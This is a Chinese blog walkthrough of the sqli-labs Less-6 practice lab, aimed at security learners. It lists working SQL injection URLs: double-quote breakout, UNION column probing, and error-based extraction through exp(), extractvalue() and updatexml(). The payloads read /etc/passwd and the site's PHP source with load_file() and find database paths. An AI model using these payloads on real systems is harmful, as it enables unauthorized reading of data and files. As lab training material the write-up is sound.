sqli-labs之Less-6
涂寐 Lv5

声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
本文首发于 涂寐’s Blogs:https://0xtlu.github.io/

0x00 常规操作

和Less-5一致,而是改用双引号括起前端传入参数。

1
http://192.168.184.129:49154/Less-6/?id=1"

image

0x01 构造注入

注:两个select查询通过union联结执行,查询的字段个数需相同,这是判断字段个数的一个方法。
注:概因直接读取文件数据难以回显前端(长度受限、编码问题和数据完整性等),故使用hex()函数把文件内容转为十六进制内容方便输出。
注:概因报错注入读取文件时输出有长度限制,故需要使用substing()函数分段读取文件内容#。
注:此处建议使用exp()函数实现报错注入,概因其返回长度为464个字符,若待读取文件内容较短,无需使用hex()。

1
2
3
4
5
6
7
http://192.168.184.129:49154/Less-6/?id=1" order by 4%23
http://192.168.184.129:49154/Less-6/?id=-1" union select 1,2,3,4 %23
http://192.168.184.129:49154/Less-6/?id=-1" union select 1,2,exp(~(select * from (select version()) as a)) %23
http://192.168.184.129:49154/Less-6/?id=-1" or exp(~(select * from(select load_file('/etc/passwd'))a)) %23
http://192.168.184.129:49154/Less-6/?id=-1" or exp(~(select * from (select substring(hex(load_file('/var/www/html/Less-6/index.php')),464,464)) as a)) %23
http://192.168.184.129:49154/Less-6/?id=-1" and (extractvalue(1,concat(0x7e,(select load_file('/etc/passwd')),0x7e)))%23
http://192.168.184.129:49154/Less-6/?id=-1" and extractvalue(1,concat(0x7e,(select substring(hex(load_file('/etc/passwd')),1,32)),0x7e))%23

image

0x02 新知识

1
2
3
4
5
6
7
8
9
10
11
12
# isnull(exper)
# 判断exper是否为空(NULL),是则返回1,反之为0
# 而load_file()读取文件时,若文件不存在或无权限则返回NULL,故两者结合可判定文件的存在性。
# 条件:1. 用户具有file权限;2. 若 secure_file_priv 值非空,则仅能扫描其下目录文件
http://192.168.184.129:49154/Less-6/?id=-1" and updatexml(0,concat(0x7e,isnull(LOAD_FILE('/etc/passwd')),0x7e),0)%23

# 其他目录查找
# @@datadir:读取数据库路径
# @@basedir:mysql安装路径
# @@version_complie_os:查看操作系统
http://192.168.184.129:49154/Less-6/?id=-1" and updatexml(0,concat(0x7e,(select @@datadir),0x7e),0)%23
http://192.168.184.129:49154/Less-6/?id=-1" and updatexml(0,concat(0x7e,(select @@basedir),0x7e),0)%23
 评论